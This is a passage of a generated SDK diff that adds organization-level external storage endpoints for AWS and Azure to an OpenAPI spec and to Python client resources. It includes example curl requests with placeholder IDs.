+ request:
+ curl: |
+ curl -X POST https://api.openai.com/v1/organization/external_storage \
+ -H "Authorization: Bearer $OPENAI_ADMIN_KEY" \
+ -H "Content-Type: application/json" \
+ -d '{
+ "project_id": "proj_azure123",
+ "provider": {
+ "type": "azure",
+ "tenant_id": "11111111-1111-1111-1111-111111111111",
+ "subscription_id": "22222222-2222-2222-2222-222222222222",
+ "resource_group": "customer-rg",
+ "account_name": "customerstorage",
+ "container": "openai-data"
+ }
+ }'
+ response: |
+ {
+ "object": "organization.external_storage",
+ "id": "extstorage_azure123",
+ "project_id": "proj_azure123",
+ "provider": {
+ "type": "azure",
+ "tenant_id": "11111111-1111-1111-1111-111111111111",
+ "subscription_id": "22222222-2222-2222-2222-222222222222",
+ "resource_group": "customer-rg",
+ "account_name": "customerstorage",
+ "container": "openai-data",
+ "region": "eastus"
+ },
+ "geography": "US",
+ "status": "pending",
+ "created_at": 1711471533
+ }
+ security:
+ - AdminApiKeyAuth: []
+ /organization/external_storage/{external_storage_id}:
+ get:
+ summary: Get an external storage configuration
+ description: Get one customer-managed external storage configuration.
+ operationId: Getanexternalstorageconfiguration
+ parameters:
+ - name: external_storage_id
+ in: path
+ required: true
+ schema:
+ example: extstorage_123
+ type: string
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ExternalStorageResponse'
+ x-oaiMeta:
+ group: administration
+ examples:
+ request:
+ curl: |
+ curl https://api.openai.com/v1/organization/external_storage/extstorage_azure123 \
+ -H "Authorization: Bearer $OPENAI_ADMIN_KEY" \
+ -H "Content-Type: application/json"
+ response: |
+ {
+ "object": "organization.external_storage",
+ "id": "extstorage_azure123",
+ "project_id": "proj_azure123",
+ "provider": {
+ "type": "azure",
+ "tenant_id": "11111111-1111-1111-1111-111111111111",
+ "subscription_id": "22222222-2222-2222-2222-222222222222",
+ "resource_group": "customer-rg",
+ "account_name": "customerstorage",
+ "container": "openai-data",
+ "region": "eastus"
+ },
+ "geography": "US",
+ "status": "validated",
+ "created_at": 1711471533
+ }
+ security:
+ - AdminApiKeyAuth: []
+ delete:
+ summary: Delete an external storage configuration
+ description: Soft-delete one customer-managed external storage configuration.
+ operationId: Deleteanexternalstorageconfiguration
+ parameters:
+ - name: external_storage_id
+ in: path
+ required: true
+ schema:
+ example: extstorage_123
+ type: string
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ExternalStorageDeletedResource'
+ x-oaiMeta:
+ group: administration
+ examples:
+ request:
+ curl: |
+ curl -X DELETE https://api.openai.com/v1/organization/external_storage/extstorage_abc123 \
+ -H "Authorization: Bearer $OPENAI_ADMIN_KEY" \
+ -H "Content-Type: application/json"
+ response: |
+ {
+ "object": "organization.external_storage.deleted",
+ "id": "extstorage_abc123",
+ "deleted": true
+ }
+ security:
+ - AdminApiKeyAuth: []
+ /organization/external_storage/{external_storage_id}/validate:
+ post:
+ summary: Validate an external storage configuration
+ description: Validate one customer-managed external storage configuration.
+ operationId: Validateanexternalstorageconfiguration
+ parameters:
+ - name: external_storage_id
+ in: path
+ required: true
+ schema:
+ example: extstorage_123
+ type: string
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ExternalStorageResponse'
+ x-oaiMeta:
+ group: administration
+ examples:
+ request:
+ curl: |
+ curl -X POST https://api.openai.com/v1/organization/external_storage/extstorage_azure123/validate \
+ -H "Authorization: Bearer $OPENAI_ADMIN_KEY" \
+ -H "Content-Type: application/json"
+ response: |
+ {
+ "object": "organization.external_storage",
+ "id": "extstorage_azure123",
+ "project_id": "proj_azure123",
+ "provider": {
+ "type": "azure",
+ "tenant_id": "11111111-1111-1111-1111-111111111111",
+ "subscription_id": "22222222-2222-2222-2222-222222222222",
+ "resource_group": "customer-rg",
+ "account_name": "customerstorage",
+ "container": "openai-data",
+ "region": "eastus"
+ },
+ "geography": "US",
+ "status": "validated",
+ "created_at": 1711471533
+ }
+ security:
+ - AdminApiKeyAuth: []
/organization/spend_limit:
get:
summary: Get organization spend limit
@@ -31480,6 +31791,30 @@ components:
id:
type: string
description: The ID of the external key configuration.
+ external_storage.registered:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The ID of the external storage configuration.
+ data:
+ type: object
+ description: The configuration for the external storage.
+ properties:
+ provider:
+ $ref: '#/components/schemas/provider'
+ description: The external storage provider configuration.
+ geography:
+ type: string
+ description: The OpenAI geography derived from the storage region.
+ external_storage.removed:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The ID of the external storage configuration.
group.created:
type: object
description: The details for events with this `type`.
@@ -32266,6 +32601,8 @@ components:
- checkpoint.permission.deleted
- external_key.registered
- external_key.removed
+ - external_storage.registered
+ - external_storage.removed
- group.created
- group.updated
- group.deleted
@@ -70503,6 +70840,67 @@ components:
URI that should appear in the SIP Refer-To header. Supports values like
`tel:+14155550123` or `sip:agent@example.com`.
example: tel:+14155550123
+ AwsExternalStorageProviderResponse:
+ properties:
+ type:
+ type: string
+ enum:
+ - aws
+ default: aws
+ x-stainless-const: true
+ account_id:
+ type: string
+ region:
+ type: string
+ bucket:
+ type: string
+ role_arn:
+ type: string
+ external_id:
+ type: string
+ type: object
+ required:
+ - type
+ - account_id
+ - region
+ - bucket
+ - role_arn
+ - external_id
+ AzureExternalStorageProviderResponse:
+ properties:
+ type:
+ type: string
+ enum:
+ - azure
+ default: azure
+ x-stainless-const: true
+ tenant_id:
+ type: string
+ subscription_id:
+ type: string
+ resource_group:
+ type: string
+ account_name:
+ type: string
+ container:
+ type: string
+ region:
+ type: string
+ type: object
+ required:
+ - type
+ - tenant_id
+ - subscription_id
+ - resource_group
+ - account_name
+ - container
+ - region
+ provider:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/AwsExternalStorageProviderResponse'
+ - $ref: '#/components/schemas/AzureExternalStorageProviderResponse'
PublicProjectResidency:
type: string
enum:
@@ -71054,6 +71452,155 @@ components:
- request_paused
- error_type
- reason
+ ExternalStorageOrder:
+ type: string
+ enum:
+ - asc
+ - desc
+ ExternalStorageStatus:
+ type: string
+ enum:
+ - pending
+ - validated
+ - unhealthy
+ ExternalStorageResponse:
+ properties:
+ object:
+ type: string
+ enum:
+ - organization.external_storage
+ default: organization.external_storage
+ x-stainless-const: true
+ id:
+ type: string
+ project_id:
+ type: string
+ provider:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/AwsExternalStorageProviderResponse'
+ - $ref: '#/components/schemas/AzureExternalStorageProviderResponse'
+ geography:
+ type: string
+ status:
+ $ref: '#/components/schemas/ExternalStorageStatus'
+ created_at:
+ type: integer
+ format: unixtime
+ type: object
+ required:
+ - object
+ - id
+ - project_id
+ - provider
+ - geography
+ - status
+ - created_at
+ ExternalStorageListResource:
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ x-stainless-const: true
+ data:
+ items:
+ $ref: '#/components/schemas/ExternalStorageResponse'
+ type: array
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ has_more:
+ type: boolean
+ type: object
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ AwsExternalStorageProviderParams:
+ properties:
+ type:
+ type: string
+ enum:
+ - aws
+ default: aws
+ x-stainless-const: true
+ bucket:
+ type: string
+ role_arn:
+ type: string
+ type: object
+ required:
+ - type
+ - bucket
+ - role_arn
+ AzureExternalStorageProviderParams:
+ properties:
+ type:
+ type: string
+ enum:
+ - azure
+ default: azure
+ x-stainless-const: true
+ tenant_id:
+ type: string
+ subscription_id:
+ type: string
+ resource_group:
+ type: string
+ account_name:
+ type: string
+ container:
+ type: string
+ type: object
+ required:
+ - type
+ - tenant_id
+ - subscription_id
+ - resource_group
+ - account_name
+ - container
+ CreateExternalStorageBody:
+ properties:
+ project_id:
+ type: string
+ example: proj_123
+ provider:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/AwsExternalStorageProviderParams'
+ - $ref: '#/components/schemas/AzureExternalStorageProviderParams'
+ type: object
+ required:
+ - project_id
+ - provider
+ ExternalStorageDeletedResource:
+ properties:
+ object:
+ type: string
+ enum:
+ - organization.external_storage.deleted
+ default: organization.external_storage.deleted
+ x-stainless-const: true
+ id:
+ type: string
+ deleted:
+ type: boolean
+ type: object
+ required:
+ - object
+ - id
+ - deleted
SpendLimitCurrency:
anyOf:
- type: string
diff --git a/src/openai/resources/admin/organization/__init__.py b/src/openai/resources/admin/organization/__init__.py
index 949f631270..e402b55d71 100644
--- a/src/openai/resources/admin/organization/__init__.py
+++ b/src/openai/resources/admin/organization/__init__.py
@@ -107,9 +107,23 @@
DataRetentionWithStreamingResponse as DataRetentionWithStreamingResponse,
AsyncDataRetentionWithStreamingResponse as AsyncDataRetentionWithStreamingResponse,
)
+ from .external_storage import (
+ ExternalStorage as ExternalStorage,
+ AsyncExternalStorage as AsyncExternalStorage,
+ ExternalStorageWithRawResponse as ExternalStorageWithRawResponse,
+ AsyncExternalStorageWithRawResponse as AsyncExternalStorageWithRawResponse,
+ ExternalStorageWithStreamingResponse as ExternalStorageWithStreamingResponse,
+ AsyncExternalStorageWithStreamingResponse as AsyncExternalStorageWithStreamingResponse,
+ )
else:
_EXPORTS = {
+ "ExternalStorage": (".external_storage", "ExternalStorage"),
+ "AsyncExternalStorage": (".external_storage", "AsyncExternalStorage"),
+ "ExternalStorageWithRawResponse": (".external_storage", "ExternalStorageWithRawResponse"),
+ "AsyncExternalStorageWithRawResponse": (".external_storage", "AsyncExternalStorageWithRawResponse"),
+ "ExternalStorageWithStreamingResponse": (".external_storage", "ExternalStorageWithStreamingResponse"),
+ "AsyncExternalStorageWithStreamingResponse": (".external_storage", "AsyncExternalStorageWithStreamingResponse"),
"AuditLogs": (".audit_logs", "AuditLogs"),
"AsyncAuditLogs": (".audit_logs", "AsyncAuditLogs"),
"AuditLogsWithRawResponse": (".audit_logs", "AuditLogsWithRawResponse"),
@@ -194,6 +208,7 @@
"audit_logs",
"certificates",
"data_retention",
+ "external_storage",
"groups",
"invites",
"organization",
@@ -223,6 +238,12 @@ def __dir__() -> list[str]:
__all__ = [
+ "ExternalStorage",
+ "AsyncExternalStorage",
+ "ExternalStorageWithRawResponse",
+ "AsyncExternalStorageWithRawResponse",
+ "ExternalStorageWithStreamingResponse",
+ "AsyncExternalStorageWithStreamingResponse",
"AuditLogs",
"AsyncAuditLogs",
"AuditLogsWithRawResponse",
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index a5c243c883..f1ceb46efa 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -65,6 +65,8 @@ def list(
"checkpoint.permission.deleted",
"external_key.registered",
"external_key.removed",
+ "external_storage.registered",
+ "external_storage.removed",
"group.created",
"group.updated",
"group.deleted",
@@ -334,6 +336,8 @@ def list(
"checkpoint.permission.deleted",
"external_key.registered",
"external_key.removed",
+ "external_storage.registered",
+ "external_storage.removed",
"group.created",
"group.updated",
"group.deleted",
diff --git a/src/openai/resources/admin/organization/external_storage.py b/src/openai/resources/admin/organization/external_storage.py
new file mode 100644
index 0000000000..27bd026a59
--- /dev/null
+++ b/src/openai/resources/admin/organization/external_storage.py
@@ -0,0 +1,583 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal
+
+import httpx2
+
+from .... import _legacy_response
+from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ...._utils import path_template, maybe_transform, async_maybe_transform
+from ...._compat import cached_property
+from ...._resource import SyncAPIResource, AsyncAPIResource
+from ...._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ....pagination import SyncCursorPage, AsyncCursorPage
+from ...._base_client import AsyncPaginator, make_request_options
+from ....types.admin.organization import (
+ external_storage_list_params,
+ external_storage_create_params,
+)
+from ....types.admin.organization.external_storage_deleted import ExternalStorageDeleted
+from ....types.admin.organization.external_storage_configuration import ExternalStorageConfiguration
+
+__all__ = ["ExternalStorage", "AsyncExternalStorage"]
+
+
+class ExternalStorage(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> ExternalStorageWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return ExternalStorageWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> ExternalStorageWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return ExternalStorageWithStreamingResponse(self)
+
+ def create(
+ self,
+ *,
+ project_id: str,
+ provider: external_storage_create_params.Provider,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageConfiguration:
+ """
+ Register one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._post(
+ "/organization/external_storage",
+ body=maybe_transform(
+ {
+ "project_id": project_id,
+ "provider": provider,
+ },
+ external_storage_create_params.ExternalStorageCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageConfiguration,
+ )
+
+ def retrieve(
+ self,
+ external_storage_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageConfiguration:
+ """
+ Get one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not external_storage_id:
+ raise ValueError(
+ f"Expected a non-empty value for `external_storage_id` but received {external_storage_id!r}"
+ )
+ return self._get(
+ path_template(
+ "/organization/external_storage/{external_storage_id}", external_storage_id=external_storage_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageConfiguration,
+ )
+
+ def list(
+ self,
+ *,
+ after: Optional[str] | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ project_id: Optional[str] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[ExternalStorageConfiguration]:
+ """
+ List the organization's customer-managed external storage configurations.
+
+ Args:
+ after: Return external storage configurations after this ID.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._get_api_list(
+ "/organization/external_storage",
+ page=SyncCursorPage[ExternalStorageConfiguration],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ "project_id": project_id,
+ },
+ external_storage_list_params.ExternalStorageListParams,
+ ),
+ security={"admin_api_key_auth": True},
+ ),
+ model=ExternalStorageConfiguration,
+ )
+
+ def delete(
+ self,
+ external_storage_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageDeleted:
+ """
+ Soft-delete one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not external_storage_id:
+ raise ValueError(
+ f"Expected a non-empty value for `external_storage_id` but received {external_storage_id!r}"
+ )
+ return self._delete(
+ path_template(
+ "/organization/external_storage/{external_storage_id}", external_storage_id=external_storage_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageDeleted,
+ )
+
+ def validate(
+ self,
+ external_storage_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageConfiguration:
+ """
+ Validate one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not external_storage_id:
+ raise ValueError(
+ f"Expected a non-empty value for `external_storage_id` but received {external_storage_id!r}"
+ )
+ return self._post(
+ path_template(
+ "/organization/external_storage/{external_storage_id}/validate", external_storage_id=external_storage_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageConfiguration,
+ )
+
+
+class AsyncExternalStorage(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncExternalStorageWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncExternalStorageWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncExternalStorageWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncExternalStorageWithStreamingResponse(self)
+
+ async def create(
+ self,
+ *,
+ project_id: str,
+ provider: external_storage_create_params.Provider,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageConfiguration:
+ """
+ Register one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return await self._post(
+ "/organization/external_storage",
+ body=await async_maybe_transform(
+ {
+ "project_id": project_id,
+ "provider": provider,
+ },
+ external_storage_create_params.ExternalStorageCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageConfiguration,
+ )
+
+ async def retrieve(
+ self,
+ external_storage_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageConfiguration:
+ """
+ Get one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not external_storage_id:
+ raise ValueError(
+ f"Expected a non-empty value for `external_storage_id` but received {external_storage_id!r}"
+ )
+ return await self._get(
+ path_template(
+ "/organization/external_storage/{external_storage_id}", external_storage_id=external_storage_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageConfiguration,
+ )
+
+ def list(
+ self,
+ *,
+ after: Optional[str] | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ project_id: Optional[str] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[ExternalStorageConfiguration, AsyncCursorPage[ExternalStorageConfiguration]]:
+ """
+ List the organization's customer-managed external storage configurations.
+
+ Args:
+ after: Return external storage configurations after this ID.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._get_api_list(
+ "/organization/external_storage",
+ page=AsyncCursorPage[ExternalStorageConfiguration],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ "project_id": project_id,
+ },
+ external_storage_list_params.ExternalStorageListParams,
+ ),
+ security={"admin_api_key_auth": True},
+ ),
+ model=ExternalStorageConfiguration,
+ )
+
+ async def delete(
+ self,
+ external_storage_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageDeleted:
+ """
+ Soft-delete one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not external_storage_id:
+ raise ValueError(
+ f"Expected a non-empty value for `external_storage_id` but received {external_storage_id!r}"
+ )
+ return await self._delete(
+ path_template(
+ "/organization/external_storage/{external_storage_id}", external_storage_id=external_storage_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageDeleted,
+ )
+
+ async def validate(
+ self,
+ external_storage_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> ExternalStorageConfiguration:
+ """
+ Validate one customer-managed external storage configuration.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not external_storage_id:
+ raise ValueError(
+ f"Expected a non-empty value for `external_storage_id` but received {external_storage_id!r}"
+ )
+ return await self._post(
+ path_template(
+ "/organization/external_storage/{external_storage_id}/validate", external_storage_id=external_storage_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"admin_api_key_auth": True},
+ ),
+ cast_to=ExternalStorageConfiguration,
+ )
+
+
+class ExternalStorageWithRawResponse:
+ def __init__(self, external_storage: ExternalStorage) -> None:
+ self._external_storage = external_storage
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ external_storage.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ external_storage.retrieve,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ external_storage.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ external_storage.delete,
+ )
+ self.validate = _legacy_response.to_raw_response_wrapper(
+ external_storage.validate,
+ )
+
+
+class AsyncExternalStorageWithRawResponse:
+ def __init__(self, external_storage: AsyncExternalStorage) -> None:
+ self._external_storage = external_storage
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ external_storage.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ external_storage.retrieve,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ external_storage.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ external_storage.delete,
+ )
+ self.validate = _legacy_response.async_to_raw_response_wrapper(
+ external_storage.validate,
+ )
+
+
+class ExternalStorageWithStreamingResponse:
+ def __init__(self, external_storage: ExternalStorage) -> None:
+ self._external_storage = external_storage
+
+ self.create = to_streamed_response_wrapper(
+ external_storage.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ external_storage.retrieve,
+ )
+ self.list = to_streamed_response_wrapper(
+ external_storage.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ external_storage.delete,
+ )
+ self.validate = to_streamed_response_wrapper(
+ external_storage.validate,
+ )
+
+
+class AsyncExternalStorageWithStreamingResponse:
+ def __init__(self, external_storage: AsyncExternalStorage) -> None:
+ self._external_storage = external_storage
+
+ self.create = async_to_streamed_response_wrapper(
+ external_storage.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ external_storage.retrieve,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ external_storage.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ external_storage.delete,
+ )
+ self.validate = async_to_streamed_response_wrapper(
+ external_storage.validate,
+ )
diff --git a/src/openai/resources/admin/organization/organization.py b/src/openai/resources/admin/organization/organization.py
index f13a26a350..0f2bf69fb3 100644
--- a/src/openai/resources/admin/organization/organization.py
+++ b/src/openai/resources/admin/organization/organization.py
@@ -92,6 +92,14 @@
DataRetentionWithStreamingResponse,
AsyncDataRetentionWithStreamingResponse,
)
+from .external_storage import (
+ ExternalStorage,
+ AsyncExternalStorage,
+ ExternalStorageWithRawResponse,
+ AsyncExternalStorageWithRawResponse,
+ ExternalStorageWithStreamingResponse,
+ AsyncExternalStorageWithStreamingResponse,
+)
from .projects.projects import (
Projects,
AsyncProjects,
@@ -105,6 +113,10 @@
class Organization(SyncAPIResource):
+ @cached_property
+ def external_storage(self) -> ExternalStorage:
+ return ExternalStorage(self._client)
+
@cached_property
def audit_logs(self) -> AuditLogs:
"""List user actions and configuration changes within this organization."""
@@ -175,6 +187,10 @@ def with_streaming_response(self) -> OrganizationWithStreamingResponse:
class AsyncOrganization(AsyncAPIResource):
+ @cached_property
+ def external_storage(self) -> AsyncExternalStorage:
+ return AsyncExternalStorage(self._client)
+
@cached_property
def audit_logs(self) -> AsyncAuditLogs:
"""List user actions and configuration changes within this organization."""
@@ -248,6 +264,10 @@ class OrganizationWithRawResponse:
def __init__(self, organization: Organization) -> None:
self._organization = organization
+ @cached_property
+ def external_storage(self) -> ExternalStorageWithRawResponse:
+ return ExternalStorageWithRawResponse(self._organization.external_storage)
+
@cached_property
def audit_logs(self) -> AuditLogsWithRawResponse:
"""List user actions and configuration changes within this organization."""
@@ -302,6 +322,10 @@ class AsyncOrganizationWithRawResponse:
def __init__(self, organization: AsyncOrganization) -> None:
self._organization = organization
+ @cached_property
+ def external_storage(self) -> AsyncExternalStorageWithRawResponse:
+ return AsyncExternalStorageWithRawResponse(self._organization.external_storage)
+
@cached_property
def audit_logs(self) -> AsyncAuditLogsWithRawResponse:
"""List user actions and configuration changes within this organization."""
@@ -356,6 +380,10 @@ class OrganizationWithStreamingResponse:
def __init__(self, organization: Organization) -> None:
self._organization = organization
+ @cached_property
+ def external_storage(self) -> ExternalStorageWithStreamingResponse:
+ return ExternalStorageWithStreamingResponse(self._organization.external_storage)
+
@cached_property
def audit_logs(self) -> AuditLogsWithStreamingResponse:
"""List user actions and configuration changes within this organization."""
@@ -410,6 +438,10 @@ class AsyncOrganizationWithStreamingResponse:
def __init__(self, organization: AsyncOrganization) -> None:
self._organization = organization
+ @cached_property
+ def external_storage(self) -> AsyncExternalStorageWithStreamingResponse:
+ return AsyncExternalStorageWithStreamingResponse(self._organization.external_storage)
+
@cached_property
def audit_logs(self) -> AsyncAuditLogsWithStreamingResponse:
"""List user actions and configuration changes within this organization."""
